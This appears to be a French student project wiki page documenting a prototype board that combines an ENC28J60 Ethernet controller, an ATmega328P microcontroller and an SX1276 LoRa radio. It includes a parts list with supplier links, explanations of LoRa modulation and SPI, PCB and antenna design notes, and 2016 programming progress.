Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
